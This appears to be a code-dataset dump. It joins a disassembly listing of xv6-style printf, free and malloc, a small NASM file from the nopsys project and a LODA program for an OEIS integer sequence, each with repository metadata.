%al,-0x29(%ebp) e0a: e8 f3 fe ff ff call d02 <write> while(--i >= 0) e0f: 83 c4 10 add $0x10,%esp e12: 83 ff ff cmp $0xffffffff,%edi e15: 75 e1 jne df8 <printint+0x68> putc(fd, buf[i]); } e17: 8d 65 f4 lea -0xc(%ebp),%esp e1a: 5b pop %ebx e1b: 5e pop %esi e1c: 5f pop %edi e1d: 5d pop %ebp e1e: c3 ret e1f: 90 nop x = xx; e20: 89 d0 mov %edx,%eax neg = 0; e22: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) e29: eb 8b jmp db6 <printint+0x26> e2b: 90 nop e2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000e30 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { e30: 55 push %ebp e31: 89 e5 mov %esp,%ebp e33: 57 push %edi e34: 56 push %esi e35: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ e36: 8d 45 10 lea 0x10(%ebp),%eax { e39: 83 ec 2c sub $0x2c,%esp for(i = 0; fmt[i]; i++){ e3c: 8b 75 0c mov 0xc(%ebp),%esi { e3f: 8b 7d 08 mov 0x8(%ebp),%edi for(i = 0; fmt[i]; i++){ e42: 89 45 d0 mov %eax,-0x30(%ebp) e45: 0f b6 1e movzbl (%esi),%ebx e48: 83 c6 01 add $0x1,%esi e4b: 84 db test %bl,%bl e4d: 0f 84 b0 00 00 00 je f03 <printf+0xd3> e53: 31 d2 xor %edx,%edx e55: eb 39 jmp e90 <printf+0x60> e57: 89 f6 mov %esi,%esi e59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ e60: 83 f8 25 cmp $0x25,%eax e63: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; e66: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ e6b: 74 18 je e85 <printf+0x55> write(fd, &c, 1); e6d: 8d 45 e2 lea -0x1e(%ebp),%eax e70: 83 ec 04 sub $0x4,%esp e73: 88 5d e2 mov %bl,-0x1e(%ebp) e76: 6a 01 push $0x1 e78: 50 push %eax e79: 57 push %edi e7a: e8 83 fe ff ff call d02 <write> e7f: 8b 55 d4 mov -0x2c(%ebp),%edx e82: 83 c4 10 add $0x10,%esp e85: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ e88: 0f b6 5e ff movzbl -0x1(%esi),%ebx e8c: 84 db test %bl,%bl e8e: 74 73 je f03 <printf+0xd3> if(state == 0){ e90: 85 d2 test %edx,%edx c = fmt[i] & 0xff; e92: 0f be cb movsbl %bl,%ecx e95: 0f b6 c3 movzbl %bl,%eax if(state == 0){ e98: 74 c6 je e60 <printf+0x30> } else { putc(fd, c); } } else if(state == '%'){ e9a: 83 fa 25 cmp $0x25,%edx e9d: 75 e6 jne e85 <printf+0x55> if(c == 'd'){ e9f: 83 f8 64 cmp $0x64,%eax ea2: 0f 84 f8 00 00 00 je fa0 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ ea8: 81 e1 f7 00 00 00 and $0xf7,%ecx eae: 83 f9 70 cmp $0x70,%ecx eb1: 74 5d je f10 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ eb3: 83 f8 73 cmp $0x73,%eax eb6: 0f 84 84 00 00 00 je f40 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ ebc: 83 f8 63 cmp $0x63,%eax ebf: 0f 84 ea 00 00 00 je faf <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ ec5: 83 f8 25 cmp $0x25,%eax ec8: 0f 84 c2 00 00 00 je f90 <printf+0x160> write(fd, &c, 1); ece: 8d 45 e7 lea -0x19(%ebp),%eax ed1: 83 ec 04 sub $0x4,%esp ed4: c6 45 e7 25 movb $0x25,-0x19(%ebp) ed8: 6a 01 push $0x1 eda: 50 push %eax edb: 57 push %edi edc: e8 21 fe ff ff call d02 <write> ee1: 83 c4 0c add $0xc,%esp ee4: 8d 45 e6 lea -0x1a(%ebp),%eax ee7: 88 5d e6 mov %bl,-0x1a(%ebp) eea: 6a 01 push $0x1 eec: 50 push %eax eed: 57 push %edi eee: 83 c6 01 add $0x1,%esi ef1: e8 0c fe ff ff call d02 <write> for(i = 0; fmt[i]; i++){ ef6: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); efa: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; efd: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ eff: 84 db test %bl,%bl f01: 75 8d jne e90 <printf+0x60> } } } f03: 8d 65 f4 lea -0xc(%ebp),%esp f06: 5b pop %ebx f07: 5e pop %esi f08: 5f pop %edi f09: 5d pop %ebp f0a: c3 ret f0b: 90 nop f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 16, 0); f10: 83 ec 0c sub $0xc,%esp f13: b9 10 00 00 00 mov $0x10,%ecx f18: 6a 00 push $0x0 f1a: 8b 5d d0 mov -0x30(%ebp),%ebx f1d: 89 f8 mov %edi,%eax f1f: 8b 13 mov (%ebx),%edx f21: e8 6a fe ff ff call d90 <printint> ap++; f26: 89 d8 mov %ebx,%eax f28: 83 c4 10 add $0x10,%esp state = 0; f2b: 31 d2 xor %edx,%edx ap++; f2d: 83 c0 04 add $0x4,%eax f30: 89 45 d0 mov %eax,-0x30(%ebp) f33: e9 4d ff ff ff jmp e85 <printf+0x55> f38: 90 nop f39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; f40: 8b 45 d0 mov -0x30(%ebp),%eax f43: 8b 18 mov (%eax),%ebx ap++; f45: 83 c0 04 add $0x4,%eax f48: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) f4b: 85 db test %ebx,%ebx f4d: 74 7c je fcb <printf+0x19b> while(*s != 0){ f4f: 0f b6 03 movzbl (%ebx),%eax f52: 84 c0 test %al,%al f54: 74 29 je f7f <printf+0x14f> f56: 8d 76 00 lea 0x0(%esi),%esi f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi f60: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); f63: 8d 45 e3 lea -0x1d(%ebp),%eax f66: 83 ec 04 sub $0x4,%esp f69: 6a 01 push $0x1 s++; f6b: 83 c3 01 add $0x1,%ebx write(fd, &c, 1); f6e: 50 push %eax f6f: 57 push %edi f70: e8 8d fd ff ff call d02 <write> while(*s != 0){ f75: 0f b6 03 movzbl (%ebx),%eax f78: 83 c4 10 add $0x10,%esp f7b: 84 c0 test %al,%al f7d: 75 e1 jne f60 <printf+0x130> state = 0; f7f: 31 d2 xor %edx,%edx f81: e9 ff fe ff ff jmp e85 <printf+0x55> f86: 8d 76 00 lea 0x0(%esi),%esi f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi write(fd, &c, 1); f90: 83 ec 04 sub $0x4,%esp f93: 88 5d e5 mov %bl,-0x1b(%ebp) f96: 8d 45 e5 lea -0x1b(%ebp),%eax f99: 6a 01 push $0x1 f9b: e9 4c ff ff ff jmp eec <printf+0xbc> printint(fd, *ap, 10, 1); fa0: 83 ec 0c sub $0xc,%esp fa3: b9 0a 00 00 00 mov $0xa,%ecx fa8: 6a 01 push $0x1 faa: e9 6b ff ff ff jmp f1a <printf+0xea> putc(fd, *ap); faf: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); fb2: 83 ec 04 sub $0x4,%esp putc(fd, *ap); fb5: 8b 03 mov (%ebx),%eax write(fd, &c, 1); fb7: 6a 01 push $0x1 putc(fd, *ap); fb9: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); fbc: 8d 45 e4 lea -0x1c(%ebp),%eax fbf: 50 push %eax fc0: 57 push %edi fc1: e8 3c fd ff ff call d02 <write> fc6: e9 5b ff ff ff jmp f26 <printf+0xf6> while(*s != 0){ fcb: b8 28 00 00 00 mov $0x28,%eax s = "(null)"; fd0: bb 38 12 00 00 mov $0x1238,%ebx fd5: eb 89 jmp f60 <printf+0x130> fd7: 66 90 xchg %ax,%ax fd9: 66 90 xchg %ax,%ax fdb: 66 90 xchg %ax,%ax fdd: 66 90 xchg %ax,%ax fdf: 90 nop 00000fe0 <free>: static Header base; static Header *freep; void free(void *ap) { fe0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) fe1: a1 64 18 00 00 mov 0x1864,%eax { fe6: 89 e5 mov %esp,%ebp fe8: 57 push %edi fe9: 56 push %esi fea: 53 push %ebx feb: 8b 5d 08 mov 0x8(%ebp),%ebx if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) fee: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; ff0: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) ff3: 39 c8 cmp %ecx,%eax ff5: 73 19 jae 1010 <free+0x30> ff7: 89 f6 mov %esi,%esi ff9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 1000: 39 d1 cmp %edx,%ecx 1002: 72 1c jb 1020 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1004: 39 d0 cmp %edx,%eax 1006: 73 18 jae 1020 <free+0x40> { 1008: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 100a: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 100c: 8b 10 mov (%eax),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 100e: 72 f0 jb 1000 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1010: 39 d0 cmp %edx,%eax 1012: 72 f4 jb 1008 <free+0x28> 1014: 39 d1 cmp %edx,%ecx 1016: 73 f0 jae 1008 <free+0x28> 1018: 90 nop 1019: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 1020: 8b 73 fc mov -0x4(%ebx),%esi 1023: 8d 3c f1 lea (%ecx,%esi,8),%edi 1026: 39 fa cmp %edi,%edx 1028: 74 19 je 1043 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 102a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 102d: 8b 50 04 mov 0x4(%eax),%edx 1030: 8d 34 d0 lea (%eax,%edx,8),%esi 1033: 39 f1 cmp %esi,%ecx 1035: 74 23 je 105a <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 1037: 89 08 mov %ecx,(%eax) freep = p; 1039: a3 64 18 00 00 mov %eax,0x1864 } 103e: 5b pop %ebx 103f: 5e pop %esi 1040: 5f pop %edi 1041: 5d pop %ebp 1042: c3 ret bp->s.size += p->s.ptr->s.size; 1043: 03 72 04 add 0x4(%edx),%esi 1046: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 1049: 8b 10 mov (%eax),%edx 104b: 8b 12 mov (%edx),%edx 104d: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 1050: 8b 50 04 mov 0x4(%eax),%edx 1053: 8d 34 d0 lea (%eax,%edx,8),%esi 1056: 39 f1 cmp %esi,%ecx 1058: 75 dd jne 1037 <free+0x57> p->s.size += bp->s.size; 105a: 03 53 fc add -0x4(%ebx),%edx freep = p; 105d: a3 64 18 00 00 mov %eax,0x1864 p->s.size += bp->s.size; 1062: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 1065: 8b 53 f8 mov -0x8(%ebx),%edx 1068: 89 10 mov %edx,(%eax) } 106a: 5b pop %ebx 106b: 5e pop %esi 106c: 5f pop %edi 106d: 5d pop %ebp 106e: c3 ret 106f: 90 nop 00001070 <malloc>: return freep; } void* malloc(uint nbytes) { 1070: 55 push %ebp 1071: 89 e5 mov %esp,%ebp 1073: 57 push %edi 1074: 56 push %esi 1075: 53 push %ebx 1076: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1079: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 107c: 8b 15 64 18 00 00 mov 0x1864,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1082: 8d 78 07 lea 0x7(%eax),%edi 1085: c1 ef 03 shr $0x3,%edi 1088: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 108b: 85 d2 test %edx,%edx 108d: 0f 84 93 00 00 00 je 1126 <malloc+0xb6> 1093: 8b 02 mov (%edx),%eax 1095: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 1098: 39 cf cmp %ecx,%edi 109a: 76 64 jbe 1100 <malloc+0x90> 109c: 81 ff 00 10 00 00 cmp $0x1000,%edi 10a2: bb 00 10 00 00 mov $0x1000,%ebx 10a7: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 10aa: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 10b1: eb 0e jmp 10c1 <malloc+0x51> 10b3: 90 nop 10b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 10b8: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 10ba: 8b 48 04 mov 0x4(%eax),%ecx 10bd: 39 cf cmp %ecx,%edi 10bf: 76 3f jbe 1100 <malloc+0x90> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 10c1: 39 05 64 18 00 00 cmp %eax,0x1864 10c7: 89 c2 mov %eax,%edx 10c9: 75 ed jne 10b8 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 10cb: 83 ec 0c sub $0xc,%esp 10ce: 56 push %esi 10cf: e8 96 fc ff ff call d6a <sbrk> if(p == (char*)-1) 10d4: 83 c4 10 add $0x10,%esp 10d7: 83 f8 ff cmp $0xffffffff,%eax 10da: 74 1c je 10f8 <malloc+0x88> hp->s.size = nu; 10dc: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 10df: 83 ec 0c sub $0xc,%esp 10e2: 83 c0 08 add $0x8,%eax 10e5: 50 push %eax 10e6: e8 f5 fe ff ff call fe0 <free> return freep; 10eb: 8b 15 64 18 00 00 mov 0x1864,%edx if((p = morecore(nunits)) == 0) 10f1: 83 c4 10 add $0x10,%esp 10f4: 85 d2 test %edx,%edx 10f6: 75 c0 jne 10b8 <malloc+0x48> return 0; 10f8: 31 c0 xor %eax,%eax 10fa: eb 1c jmp 1118 <malloc+0xa8> 10fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 1100: 39 cf cmp %ecx,%edi 1102: 74 1c je 1120 <malloc+0xb0> p->s.size -= nunits; 1104: 29 f9 sub %edi,%ecx 1106: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 1109: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 110c: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 110f: 89 15 64 18 00 00 mov %edx,0x1864 return (void*)(p + 1); 1115: 83 c0 08 add $0x8,%eax } } 1118: 8d 65 f4 lea -0xc(%ebp),%esp 111b: 5b pop %ebx 111c: 5e pop %esi 111d: 5f pop %edi 111e: 5d pop %ebp 111f: c3 ret prevp->s.ptr = p->s.ptr; 1120: 8b 08 mov (%eax),%ecx 1122: 89 0a mov %ecx,(%edx) 1124: eb e9 jmp 110f <malloc+0x9f> base.s.ptr = freep = prevp = &base; 1126: c7 05 64 18 00 00 68 movl $0x1868,0x1864 112d: 18 00 00 1130: c7 05 68 18 00 00 68 movl $0x1868,0x1868 1137: 18 00 00 base.s.size = 0; 113a: b8 68 18 00 00 mov $0x1868,%eax 113f: c7 05 6c 18 00 00 00 movl $0x0,0x186c 1146: 00 00 00 1149: e9 4e ff ff ff jmp 109c <malloc+0x2c>
38.26488
71
0.39321
4bdf340210fd123ff20a07165ae663b2db189915
519
asm
Assembly
example-nopsys/nopsys.asm
nopsys/nopsys
242c10bed2c1bc151d1cdb00225abeb66a5f58f9
[ "MIT" ]
20
2018-07-15T03:33:10.000Z
2021-08-13T01:18:36.000Z
example-nopsys/nopsys.asm
nopsys/nopsys
242c10bed2c1bc151d1cdb00225abeb66a5f58f9
[ "MIT" ]
4
2018-07-05T05:41:57.000Z
2018-10-12T23:34:28.000Z
example-nopsys/nopsys.asm
nopsys/nopsys
242c10bed2c1bc151d1cdb00225abeb66a5f58f9
[ "MIT" ]
2
2020-07-11T19:51:57.000Z
2021-05-25T22:32:04.000Z
extern putc_debug global nopsys_vm_main global semaphore_signal_with_index global debug_print_call_stack section .data clock_str: db "|/-\" clock_idx: db 0 section .text nopsys_vm_main: inc eax jmp nopsys_vm_main semaphore_signal_with_index: ;xchg bx, bx xor eax, eax mov al, [clock_idx] mov eax, [clock_str+eax] inc byte [clock_idx] cmp byte [clock_idx], 4 jb .not_end mov byte [clock_idx], 0 .not_end: push 40 push 40 push eax call putc_debug add esp, 12 ret debug_print_call_stack: ret
12.069767
34
0.751445
d3be84f5f88cc7eae8aca2833d65288a9e421cd7
342
asm
Assembly
programs/oeis/112/A112440.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/112/A112440.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/112/A112440.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A112440: Next term is the sum of the last 10 digits in the sequence, beginning with a(10) = 9. ; 0,0,0,0,0,0,0,0,0,9,9,18,27,36,45,54,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45 sub $0,1 pow $0,2 div $0,28 mov $2,2 lpb $0,1 mov $3,$2 mov $2,1 mov $4,$3 add $4,5 mov $0,$4 lpe trn $0,1 mov $1,$0 mul $1,9
19
107
0.602339